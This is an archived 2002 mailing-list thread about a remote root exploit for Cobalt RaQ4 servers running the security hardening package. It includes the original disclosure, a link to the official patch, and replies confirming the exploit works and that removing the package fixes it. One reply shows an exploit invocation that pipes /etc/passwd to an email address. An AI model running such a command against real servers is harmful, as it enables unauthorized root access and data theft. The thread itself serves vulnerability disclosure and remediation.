RE: [cobalt-security] FW: Cobalt RaQ4 Remote root exploit

[Goade, Matthew]

Title: FW: Cobalt RaQ4 Remote root exploit

The SHP removal works at least. No longer vulnerable.

-----Original Message-----
From: Goade, Matthew
Sent: Thursday, December 05, 2002 4:58 PM
To: [EMAIL PROTECTED]
Subject: RE: [cobalt-security] FW: Cobalt RaQ4 Remote root exploit

It works on mine

./a.out 65.65.233.131 "cat /etc/passwd |mail [EMAIL PROTECTED]"

mails me the passwd file

-----Original Message-----
From: Goade, Matthew
Sent: Thursday, December 05, 2002 4:48 PM
To: [EMAIL PROTECTED]
Subject: [cobalt-security] FW: Cobalt RaQ4 Remote root exploit

Can anyone verify that this works?

-----Original Message-----
From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED]]
Sent: Thursday, December 05, 2002 3:39 PM
To: [EMAIL PROTECTED]
Subject: Cobalt RaQ4 Remote root exploit

Hello,

I've attached an exploit that will allow an attacker to gain remote
root access on Cobalt RaQ's which have the security hardening package
installed (SHP).

the official patch for this problem can be found here :
http://ftp.cobalt.sun.com/pub/packages/raq4/eng/RaQ4-en-Security-2.0.1-SHP_REM.pkg

Wouter ter Maat aka [EMAIL PROTECTED]
http://www.i-security.nl